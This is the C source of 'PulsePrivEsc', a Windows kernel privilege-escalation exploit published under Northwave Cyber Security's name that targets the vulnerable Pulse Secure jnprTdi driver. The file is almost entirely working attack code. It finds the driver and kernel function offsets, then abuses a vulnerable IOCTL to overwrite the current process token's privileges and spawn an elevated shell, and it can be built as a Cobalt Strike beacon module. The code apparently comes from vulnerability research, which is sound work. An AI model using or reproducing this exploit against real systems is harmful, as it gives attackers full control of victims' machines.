/** * The MIT License (MIT) * ===================== * * Copyright (c) 2023 Northwave Cyber Security. All rights reserved. * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the “Software”), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ /** * Standard Input Output. * * Defines three variable types, several macros, and various functions for performing input and output. * https://www.tutorialspoint.com/c_standard_library/stdio_h.htm */ #include /** * Standard Library. * * Defines four variable types, several macros, and various functions for performing general functions. * https://www.tutorialspoint.com/c_standard_library/stdlib_h.htm */ #include /** * Integers. * * Defines macros that specify limits of integer types corresponding to types defined in other standard headers. * https://pubs.opengroup.org/onlinepubs/009696899/basedefs/stdint.h.html */ #include /** * Booleans. * * Defines boolean types. * https://pubs.opengroup.org/onlinepubs/007904975/basedefs/stdbool.h.html */ #include /** * Windows API. * * Contains declarations for all of the functions, macro's & data types in the Windows API. * Define 'WIN32_LEAN_AND_MEAN' to make sure windows.h compiles without warnings. * https://docs.microsoft.com/en-us/previous-versions//aa383749(v=vs.85)?redirectedfrom=MSDN */ #define WIN32_LEAN_AND_MEAN #include /** * Internal NT API's and data structures. * * Helper library that contains NT API's and data structures for system services, security and identity. * https://docs.microsoft.com/en-us/windows/win32/api/winternl/ */ #include /** * Process Status API (PSAPI). * * Helper library that makes it easier for you to obtain information about processes and device drivers. * https://docs.microsoft.com/en-us/windows/win32/api/psapi/ */ #include /** * Windows Version Helpers * * Helper library that contains functions to check which operating system version is running. * https://learn.microsoft.com/en-us/windows/win32/api/versionhelpers/ */ #include /** * Application Installation and Servicing (MSI) Helpers * * Contains declarations and definitions related to the Windows Installer technology. * https://learn.microsoft.com/en-us/windows/win32/api/msi/ */ #include /** * Link required libraries */ #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "Ntdll.lib") #pragma comment(lib, "PsApi.lib") #pragma comment(lib, "Msi.lib") /** * Load custom header files. */ #include "headers/structs.h" #include "headers/imports.h" #include "headers/beacon.h" /** * Predefined definitions */ #define DEBUG 0x1 // Verbose printing (if positive) #define VULNERABLE_IOCTL 0x80002018 // IOCTL that is vulnerable #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 // Possible return status of API #define SystemModuleInformation 0x0B // Type of system information to retrieve #define SystemExtendedHandleInformation 0x40 // Type of system information to retrieve /** * Define cross-compatible print methods */ #ifdef BOF #define PRINT(...) { \ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \ } #else #define PRINT(...) { \ fprintf(stdout, "[+] "); \ fprintf(stdout, __VA_ARGS__); \ fprintf(stdout, "\n"); \ } #endif #ifdef BOF #define PRINT_ERROR(...) { \ BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__); \ } #else #define PRINT_ERROR(...) { \ fprintf(stdout, "[!] "); \ fprintf(stdout, __VA_ARGS__); \ fprintf(stdout, "\n"); \ } #endif #ifdef BOF #define PRINT_DEBUG(...) { \ if (DEBUG) { \ BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \ } \ } #else #define PRINT_DEBUG(...) { \ if (DEBUG) { \ fprintf(stdout, "[i] "); \ fprintf(stdout, __VA_ARGS__); \ fprintf(stdout, "\n"); \ } \ } #endif /** * Check if the given haystack (string) starts with the given needle (string). * * @param char* haystack The haystack that may contain a needle * @param char* needle The needle that may be present in the haystack. * @return bool Positive if the haystack indeed starts with the needle. */ bool startsWith(char* haystack, char* needle) { if(strncmp(haystack, needle, strlen(needle)) == 0) { return true; } return false; } /** * Get the virtual address base from the given image. * * @return LPVOID A pointer to the image base in the system space. */ LPVOID getImageBase(LPCSTR imageName) { DWORD dwSize = 0; if (NtQuerySystemInformation(SystemModuleInformation, NULL, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH) { PRINT_ERROR("Cannot get length of system module list array while trying to obtain an image base."); return NULL; } PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES) GlobalAlloc(GMEM_ZEROINIT, dwSize); if (!pSystemModules) { PRINT_ERROR("Cannot allocate memory for system module list while trying to obtain an image base."); return NULL; } if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize))) { PRINT_ERROR("Cannot get system module list while trying to obtain an image base."); GlobalFree(pSystemModules); return NULL; } DWORD dwCount = pSystemModules->NumberOfModules; for (DWORD i = 0; i < dwCount; i++) { if (strstr((char*) pSystemModules->Modules[i].FullPathName, imageName)) { LPVOID pBase = (LPVOID) pSystemModules->Modules[i].ImageBase; GlobalFree(pSystemModules); return pBase; } } PRINT_ERROR("Cannot find %s in system module list while trying to obtain an image base.", imageName); GlobalFree(pSystemModules); return NULL; } /** * Check if and which one of the known to be vulnerable services/drivers is installed. * * @param char* driverName Where the identified driver name is written to. * @return bool If the vulnerable service is installed. */ bool getVulnerableDriverInstalled(char* driverName) { HKEY hKeyDriver; HKEY hKeyServices; DWORD imagePathSize = 0; char imagePath[MAX_PATH]; // Open registry key for listing all service names if (RegOpenKeyA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", &hKeyServices) != ERROR_SUCCESS) { return false; } size_t index = 0; char keyName[MAX_PATH]; // Enumerate all services for (index = 0; RegEnumKeyA(hKeyServices, index, keyName, sizeof(keyName)) == ERROR_SUCCESS; index++) { // We're only looking for services that start with our driver name if (!startsWith(keyName, "jnprTdi")) { continue; } // We should be able to open the registry key if (RegOpenKeyA(hKeyServices, keyName, &hKeyDriver) != ERROR_SUCCESS) { continue; } // We should be able to get its image path size if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, NULL, &imagePathSize) != ERROR_SUCCESS) { continue; } // We should be able to read the full image path imagePathSize += 1; // include new line if (RegGetValueA(hKeyDriver, NULL, "ImagePath", RRF_RT_ANY, NULL, imagePath, &imagePathSize) != ERROR_SUCCESS) { continue; } // Retrieve the hash of the specific driver image (PE-file) PMSIFILEHASHINFO hash = calloc(1, sizeof(MSIFILEHASHINFO)); hash->dwFileHashInfoSize = sizeof(MSIFILEHASHINFO); if (MsiGetFileHashA(imagePath + 4, 0, hash) != ERROR_SUCCESS) { continue; } // Check if the hash corresponds to the vulnerable driver hash if (hash->dwData[0] == 0x4764a17d && hash->dwData[1] == 0xc800d2a3 && hash->dwData[2] == 0x6805edc3 && hash->dwData[3] == 0x1e2ea628) { strncpy(driverName, keyName, MAX_PATH); return true; } } return false; } /** * Open a handle to the symbolic link of the driver to check if it's running. * * @param char* driverSymbolicLink The path to the driver's symbolic link. * @return bool Positive if currently running, false otherwise. */ bool isVulnerableDriverRunning(char* driverSymbolicLink) { HANDLE hDevice = CreateFileA(driverSymbolicLink, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { return false; } CloseHandle(hDevice); return true; } /** * Retrieve the major and minor version of the current operating system. * * @param WINDOWS_VERSION* windowsVersion The output Windows version variable. * @return bool Positive if succesfully got Windows version. */ bool getWindowsVersion(WINDOWS_VERSION* windowsVersion) { uint8_t* peb = (__readgsqword(0x60)); windowsVersion->OSMajorVersion = *((uint32_t *)(peb + 0x0118)); // peb->OSMajorVersion; windowsVersion->OSMinorVersion = *((uint32_t *)(peb + 0x011C)); // peb->OSMinorVersion; windowsVersion->OSBuildNumber = *((uint32_t *)(peb + 0x0120)); // peb->OSBuildNumber; return true; } /** * Check if the current operating system is Windows 10. * * @return bool Positive if Windows 10. */ bool isWindows10() { WINDOWS_VERSION windowsVersion; if (!getWindowsVersion(&windowsVersion)) { // Could not get version return false; } if (windowsVersion.OSMajorVersion != 10) { // Lower or higher than Windows 10/11 return false; } if (windowsVersion.OSBuildNumber >= 22000) { // Windows 11 return false; } return true; } /** * Check if the current operating system is Windows 11. * * @return bool Positive if Windows 11. */ bool isWindows11() { WINDOWS_VERSION windowsVersion; if (!getWindowsVersion(&windowsVersion)) { // Could not get version return false; } if (windowsVersion.OSMajorVersion != 10) { // Lower or higher than Windows 10/11 return false; } if (windowsVersion.OSBuildNumber < 22000) { // Windows 10 return false; } return true; } /** * Check if the given haystack starts with the given byte/match sequence. * * @param char* haystack A byte sequence to search in (e.g. `ntoskrnl.exe` memory). * @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`) * @param char* mask Which bytes must match in the image (e.g. `xx???xx`). * @return bool Positive if it is a match, negative otherwise. */ bool byteSequenceStartsWithByteSequence(uint8_t* haystack, uint8_t* needle, uint8_t* mask) { size_t i; for (i = 0; i < strlen(mask); i++) { if(mask[i] == 'x' && haystack[i] != needle[i]) { return 0; } } return i == strlen(mask); } /** * Find offset of exported functions via `GetProcAddress`. * * @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`). * @param char* exportName Which function name to get the offset for. * @return uint64_t The offset to the function if found. Zero otherwise. */ uint64_t findFunctionOffsetByExport(char* imageName, char* exportName) { HANDLE hImage = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES); if (hImage == NULL) { return 0; } LPVOID hExport = (LPVOID) GetProcAddress(hImage, exportName); if (hExport == NULL) { return 0; } return (uint64_t) (((uintptr_t) hExport) - ((uintptr_t) hImage)); } /** * Find offset of unexported functions via some sort of egg hunting (byte sequence search). * * Note: * Let's say you have a byte sequence of `\x8B\x42 ? ? ? \xB7\xC9` in "ntoskrnl.exe" of which the first two and last two * bytes are static, and the middle three are different depending on OS version. Then you can call this function as follows: * findFunctionOffsetInImageByByteSequence("ntoskrnl.exe", "\x8B\x42\x00\x00\x00\xB7\xC9", "xx???xx"); * * @param char* imageName The name of the image to load (e.g. `ntoskrnl.exe`). * @param char* needle A byte sequence (egg) to search for (e.g. `\x8B\x42\x00\x00\x00\xB7\xC9`) * @param char* mask Which bytes must match in the image (e.g. `xx???xx`). * @return uint64_t The offset to the function if found. Zero otherwise. */ uint64_t findFunctionOffsetInImageByByteSequence(char* imageName, char* needle, char* mask) { uint64_t result = 0; HMODULE hModule = LoadLibraryExA(imageName, NULL, DONT_RESOLVE_DLL_REFERENCES); if(hModule == NULL) { PRINT_ERROR("LoadLibraryExA failed. LastError: 0x%.8x.", GetLastError()); goto CLEANUP_AND_RETURN; } // Retrieve information about the loaded module MODULEINFO modinfo; bool gotModuleInformation = GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo)); if (!gotModuleInformation) { PRINT_ERROR("GetModuleInformation failed. LastError: 0x%.8x.", GetLastError()); goto CLEANUP_AND_RETURN; } // Number of bytes to read from memory size_t nNumberOfBytesToRead = (size_t) modinfo.SizeOfImage; // Allocate memory for bytes to read and a null termination uint8_t* bytes = calloc(nNumberOfBytesToRead, sizeof(uint8_t)); // Define how many bytes have been read size_t* lpNumberOfBytesRead = 0; HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId()); if(hProcess == NULL) { PRINT_ERROR("OpenProcess failed. LastError: 0x%.8x.", GetLastError()); goto CLEANUP_AND_RETURN; } if(ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, bytes, nNumberOfBytesToRead, lpNumberOfBytesRead) == NULL) { PRINT_ERROR("Failed to read process memory. LastError: 0x%.8x.", GetLastError()); goto CLEANUP_AND_RETURN; } for (size_t i = 0; i < modinfo.SizeOfImage; i ++) { if (byteSequenceStartsWithByteSequence(bytes + i, needle, mask)) { result = (uint64_t) i; goto CLEANUP_AND_RETURN; } } CLEANUP_AND_RETURN: if (hProcess != NULL) CloseHandle(hProcess); return result; } /** * Obtain an object pointer by the given handle. * * @param HANDLE h The handle to find the object pointer for. * @return PVOID The object pointer for the given handle (or NULL on failure). */ PVOID GetObjectPointerByHandle(HANDLE h) { // Define the maximum size for the buffer that contains the handle information const ULONG bufferSize = 1024 * 1024 * 10; // 10 MB DWORD pid = GetCurrentProcessId(); // Allocate memory for the handle information buffer PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferSize); if (!pHandleInfo) { return STATUS_NO_MEMORY; } // Query the system handle information for all handles in the current process NTSTATUS status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, NULL); if (!NT_SUCCESS(status)) { #ifndef BOF // We cannot use anymore Win32 API calls in CobaltStrike: no slot for function (reduce number of Win32 APIs called) HeapFree(GetProcessHeap(), 0, pHandleInfo); #endif return status; } // Loop through the handles and find the one that matches the specified handle ULONG i; for (i = 0; i < pHandleInfo->NumberOfHandles; i++) { PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]); if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == h) { return pHandleEntry->Object; } } return NULL; } /** * Write a BYTE that the struct holds, using the handle that the struct holds. * * @param struct BYTE_VER wv Data to write. */ void write_byte(struct BYTE_VER *bv) { // Commented this write as it will be outputted threaded and will fuck up console output // PRINT("write_byte called with hdev = %X | target = %llX | word = %X.", bv->hdev, bv->target, bv->byte); size_t returned_bytes; uint64_t *input_buffer = calloc(0x100, 1); uint64_t *initial_buffer = calloc(0x100, 1); uint64_t *buff_30h = calloc(0x100, 1); uint64_t *iocsq_rsi_plus_8h = calloc(0x100, 1); // /* // * Configuring the pointer to hold the byte we want to write // * in the LSB. -0x50 at the end to compensate for the +0x50 // * that is done inside the driver code // */ uint8_t* buff_28htmp = ((uint8_t *)calloc(0x3000, 1)); buff_28htmp = buff_28htmp + 0x1000; uint64_t minus = (uint8_t*) (((uint64_t) buff_28htmp) % 0x1000); buff_28htmp = buff_28htmp - minus; uint64_t *buff_28h = (uint64_t*) (buff_28htmp + 0x100 + bv->byte - 0x50); input_buffer[0] = initial_buffer; initial_buffer[0x28 / sizeof(uint64_t)] = buff_28h; initial_buffer[0x30 / sizeof(uint64_t)] = buff_30h; iocsq_rsi_plus_8h[0] = bv->target; iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)] = 1; iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)] = 1; // Required to pass a check in write_char_0 iocsq_rsi_plus_8h[0x08 / sizeof(uint64_t)] = 0x1000; // Required to pass a check in write_char_0 buff_30h[(0x08 / sizeof(uint64_t))] = iocsq_rsi_plus_8h; buff_28h[(0x50 / sizeof(uint64_t))] = 1; // Locked spin lock object /* * Setting Function pointers */ buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_TEST_SPIN_LOCK; buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_WRITE_BYTE; buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = bv->NTOSKRNL_BASE + bv->OFFSET_SPIN_LOCK; DeviceIoControl(bv->hdev, VULNERABLE_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes , NULL); // PRINT_ERROR("This printf will never execute, unless we manually lift and fix the spinlock."); } /** * Write a WORD that the struct holds, using the handle that the struct holds. * * Note: As of Windows 11 Pro 23H2 22631, the implementation of `write_char_1` changed. * As a quick fix, the implementation of this `write_word` function has been replaced with * two `write_byte` calls. * * @param struct WORD_VER wv Data to write. */ void write_word(struct WORD_VER *wv) { HANDLE h1 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); struct BYTE_VER *bv1 = calloc(1, sizeof(struct BYTE_VER)); bv1->hdev = h1; bv1->target = wv->target + 1; bv1->byte = (wv->word & 0xFF00) >> 8; bv1->DRIVER_DEVICE_SYMBOLIC_LINK = wv->DRIVER_DEVICE_SYMBOLIC_LINK; bv1->NTOSKRNL_BASE = wv->NTOSKRNL_BASE; bv1->OFFSET_TEST_SPIN_LOCK = wv->OFFSET_TEST_SPIN_LOCK; bv1->OFFSET_WRITE_BYTE = wv->OFFSET_WRITE_BYTE; bv1->OFFSET_SPIN_LOCK = wv->OFFSET_SPIN_LOCK; HANDLE t1 = CreateThread(NULL, 0, write_byte, bv1, 0, NULL); SetThreadPriority(t1, THREAD_PRIORITY_LOWEST); HANDLE h2 = CreateFileA(wv->DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); struct BYTE_VER *bv2 = calloc(1, sizeof(struct BYTE_VER)); bv2->hdev = h2; bv2->target = wv->target; bv2->byte = (wv->word & 0xFF); bv2->DRIVER_DEVICE_SYMBOLIC_LINK = wv->DRIVER_DEVICE_SYMBOLIC_LINK; bv2->NTOSKRNL_BASE = wv->NTOSKRNL_BASE; bv2->OFFSET_TEST_SPIN_LOCK = wv->OFFSET_TEST_SPIN_LOCK; bv2->OFFSET_WRITE_BYTE = wv->OFFSET_WRITE_BYTE; bv2->OFFSET_SPIN_LOCK = wv->OFFSET_SPIN_LOCK; HANDLE t2 = CreateThread(NULL, 0, write_byte, bv2, 0, NULL); SetThreadPriority(t2, THREAD_PRIORITY_LOWEST); } /** * Write the given value of size to the given address * * @param char size (`q` for QWORD, `d` for DWORD, `w` for WORD and `b` for BYTE). * @param uint64_t address Address to write to. * @param uint64_t value The value to write. * @param char* DRIVER_DEVICE_SYMBOLIC_LINK Symbolic link of the driver. * @param LPVOID NTOSKRNL_BASE Base address of the kernel. * @param uint64_t OFFSET_TEST_SPIN_LOCK Offset of KeTestSpinLock. * @param uint64_t OFFSET_WRITE_BYTE Offset of write_char_0. * @param uint64_t OFFSET_SPIN_LOCK Offset of KxWaitForSpinLockAndAcquire. */ void write_mem(char size, uint64_t address, uint64_t value, char* DRIVER_DEVICE_SYMBOLIC_LINK, LPVOID NTOSKRNL_BASE, uint64_t OFFSET_TEST_SPIN_LOCK, uint64_t OFFSET_WRITE_BYTE, uint64_t OFFSET_SPIN_LOCK) { if (size == 'q') { struct WORD_VER *wv4 = calloc(1, sizeof(struct WORD_VER)); wv4->target = address + 6; wv4->word = (value & 0xFFFF000000000000) >> 48; wv4->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK; wv4->NTOSKRNL_BASE = NTOSKRNL_BASE; wv4->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK; wv4->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE; wv4->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK; write_word(wv4); struct WORD_VER *wv3 = calloc(1, sizeof(struct WORD_VER)); wv3->target = address + 4; wv3->word = (value & 0x0000FFFF00000000) >> 32; wv3->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK; wv3->NTOSKRNL_BASE = NTOSKRNL_BASE; wv3->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK; wv3->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE; wv3->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK; write_word(wv3); size = 'd'; } if (size == 'd') { struct WORD_VER *wv2 = calloc(1, sizeof(struct WORD_VER)); wv2->target = address + 2; wv2->word = (value & 0xFFFF0000) >> 16; wv2->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK; wv2->NTOSKRNL_BASE = NTOSKRNL_BASE; wv2->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK; wv2->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE; wv2->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK; write_word(wv2); size = 'w'; } if (size == 'w') { struct WORD_VER *wv1 = calloc(1, sizeof(struct WORD_VER)); wv1->target = address; wv1->word = (value & 0xFFFF); wv1->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK; wv1->NTOSKRNL_BASE = NTOSKRNL_BASE; wv1->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK; wv1->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE; wv1->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK; write_word(wv1); } if (size == 'b') { HANDLE h = CreateFileA(DRIVER_DEVICE_SYMBOLIC_LINK, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); struct BYTE_VER *bv = calloc(1, sizeof(struct BYTE_VER)); bv->hdev = h; bv->target = address; bv->byte = (value & 0xFF); bv->DRIVER_DEVICE_SYMBOLIC_LINK = DRIVER_DEVICE_SYMBOLIC_LINK; bv->NTOSKRNL_BASE = NTOSKRNL_BASE; bv->OFFSET_TEST_SPIN_LOCK = OFFSET_TEST_SPIN_LOCK; bv->OFFSET_WRITE_BYTE = OFFSET_WRITE_BYTE; bv->OFFSET_SPIN_LOCK = OFFSET_SPIN_LOCK; HANDLE t = CreateThread(NULL, 0, write_byte, bv, 0, NULL); SetThreadPriority(t, THREAD_PRIORITY_LOWEST); } } /** * Perform the kernel exploit & elavation. */ void boot() { /** * Dynamic definitions (retrieved on run as they vary between OS versions) */ char* DRIVER_DEVICE_NAME = NULL; // jnprTdi_[major]_[minor] char* DRIVER_DEVICE_SYMBOLIC_LINK = NULL; // \\.\jnprTdi_[major]_[minor] uint64_t OFFSET_SPIN_LOCK = 0; // KxWaitForSpinLockAndAcquire uint64_t OFFSET_TEST_SPIN_LOCK = 0; // KeTestSpinLock uint64_t OFFSET_WRITE_BYTE = 0; // write_char_0 LPVOID NTOSKRNL_BASE = NULL; // Kernel base address // Provide feedback to the user that the BOF is running. PRINT("Starting PulsePrivEsc..."); HANDLE hToken; // Identifying if we're running Windows 10 or 11, as this exploit has only been tested on a few Windows 10 and 11 builds. if (!isWindows10() && !isWindows11()) { PRINT_ERROR("This exploit is only tested on Windows 10 and 11. If you know what you're doing, you may adjust the code to allow running the exploit on other Windows versions."); return; } else { PRINT("Running on Windows 10 or 11."); } // Identifying if vulnerable kernel driver is installed. DRIVER_DEVICE_NAME = calloc(MAX_PATH, sizeof(uint8_t)); if (!getVulnerableDriverInstalled(DRIVER_DEVICE_NAME)) { PRINT_ERROR("Vulnerable kernel driver is not installed."); return; } else { PRINT("Found vulnerable driver: %s.", DRIVER_DEVICE_NAME); } DRIVER_DEVICE_SYMBOLIC_LINK = calloc(0x1000, sizeof(uint8_t)); strncpy(DRIVER_DEVICE_SYMBOLIC_LINK, "\\\\.\\", 0x4); strncat(DRIVER_DEVICE_SYMBOLIC_LINK, DRIVER_DEVICE_NAME, 0x1000); // Identifying if driver is running. If not, the user must start it. // We test this simply (and not a 100% correctly) by opening a handle to its symbolic link // User must start the driver using `pulselauncher.exe`, which spawns a process. We need to improve that. if (!isVulnerableDriverRunning(DRIVER_DEVICE_SYMBOLIC_LINK)) { PRINT_ERROR("Vulnerable kernel driver is not running or TDI-failover is not configured."); PRINT_ERROR("Setup an virtual evaluation appliance of Pulse Secure with TDI-failover."); PRINT_ERROR("Connect the victim machine to that appliance using `pulselauncher.exe` to start the driver."); PRINT_ERROR("Read the `README.md` for more information."); return; } else { PRINT("Vulnerable kernel driver is running."); } // We must be able to map 0x80002018 as it's used in the exploit. PRINT("Mapping the page that references address 0x80002018."); uint64_t allocatedBaseAddress = VirtualAlloc(0x80002018, 4096 * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (((uint32_t) allocatedBaseAddress) != 0x80000000) { PRINT_ERROR("Unable to map the page backing address 0x80002018 (allocatedBaseAddress = 0x%lX). LastError: 0x%.8x.", allocatedBaseAddress, GetLastError()); return; } else { PRINT("Mapped page backing address 0x80002018 (allocatedBaseAddress = 0x%lX).", allocatedBaseAddress); } // We must be able to obtain the base address of ntoskrnl.exe PRINT("Trying to obtain ntoskrnl.exe base."); NTOSKRNL_BASE = getImageBase("ntoskrnl.exe"); if (!NTOSKRNL_BASE) { PRINT_ERROR("Could not obtain ntoskrnl.exe base."); goto CLEANUP; } else { PRINT("Obtained ntoskrnl.exe base: %llX.", NTOSKRNL_BASE); } // Find offsets of functions dynamically (exported) OFFSET_TEST_SPIN_LOCK = findFunctionOffsetByExport("c:\\windows\\system32\\ntoskrnl.exe", "KeTestSpinLock"); if (!OFFSET_TEST_SPIN_LOCK) { PRINT_ERROR("Unable to find `KeTestSpinLock` in `ntoskrnl.exe` via `GetProcAddress`."); goto CLEANUP; } else { PRINT("Obtained `KeTestSpinLock` address: %llX.", NTOSKRNL_BASE + OFFSET_TEST_SPIN_LOCK); } // Dirty hack to find offsets of functions dynamically (non-exported) if (isWindows10()) { OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x20\x65\x48\x8B\x34\x25\x20\x00\x00\x00", "xxxxxxxxxxxxxxxxxxxxxxxx"); OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx"); } else if (isWindows11()) { OFFSET_SPIN_LOCK = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x48\x89\x5C\x24\x00\x57\x48\x83\xEC\x20\x48\x8B\xF9\x33\xDB\x90", "xxxx?xxxxxxxxxxx"); OFFSET_WRITE_BYTE = findFunctionOffsetInImageByByteSequence("c:\\windows\\system32\\ntoskrnl.exe", "\x40\x53\x48\x83\xEC\x20\x8B\x42\x18\x49\x8B\xD8\xA8\x40", "xxxxxxxxxxxxxx"); } if (!OFFSET_SPIN_LOCK) { PRINT_ERROR("Unable to find `KxWaitForSpinLockAndAcquire` in `ntoskrnl.exe` via egg hunt."); goto CLEANUP; } else { PRINT("Obtained `KxWaitForSpinLockAndAcquire` address: %llX.", NTOSKRNL_BASE + OFFSET_SPIN_LOCK); } if (!OFFSET_WRITE_BYTE) { PRINT_ERROR("Unable to find `write_char_0` in `ntoskrnl.exe` via egg hunt."); goto CLEANUP; } else { PRINT("Obtained `write_char_0` address: %llX.", NTOSKRNL_BASE + OFFSET_WRITE_BYTE); } PRINT("Trying to obtain current process token."); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uint8_t *currentToken = GetObjectPointerByHandle(hToken); if (currentToken == NULL) { PRINT_ERROR("Unable to obtain handle to current process token."); goto CLEANUP; } else { PRINT("Obtained token address of current process: %p.", currentToken); } PRINT("Creating writer thread(s)..."); write_mem('q', currentToken + 0x50, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Default write_mem('q', currentToken + 0x48, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled write_mem('q', currentToken + 0x40, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Present PRINT("Writer thread(s) have been created. Sleeping for 6 seconds..."); Sleep(6000); #ifndef BOF PRINT("Finished. Spawning a privileged shell."); system("cmd.exe"); #else PRINT("Finished. You've acquired all high privileges."); #endif CLEANUP: if (allocatedBaseAddress != NULL) VirtualFree(allocatedBaseAddress, 4096 * 8, MEM_RELEASE); } #ifdef BOF /** * CS BOF entry point. * * The Cobalt Strike (CS) Beacon Object File (BOF) entry point. * * @param char* args The array of arguments. * @param int length The length of the array of arguments. */ VOID go(IN PCHAR Args, IN ULONG Length) { boot(); } #else /** * Test the kernel exploit & elavation code * * @param int argc Amount of arguments in argv. * @param char** Array of arguments passed to the program. */ void main(int argc, char** argv) { boot(); } #endif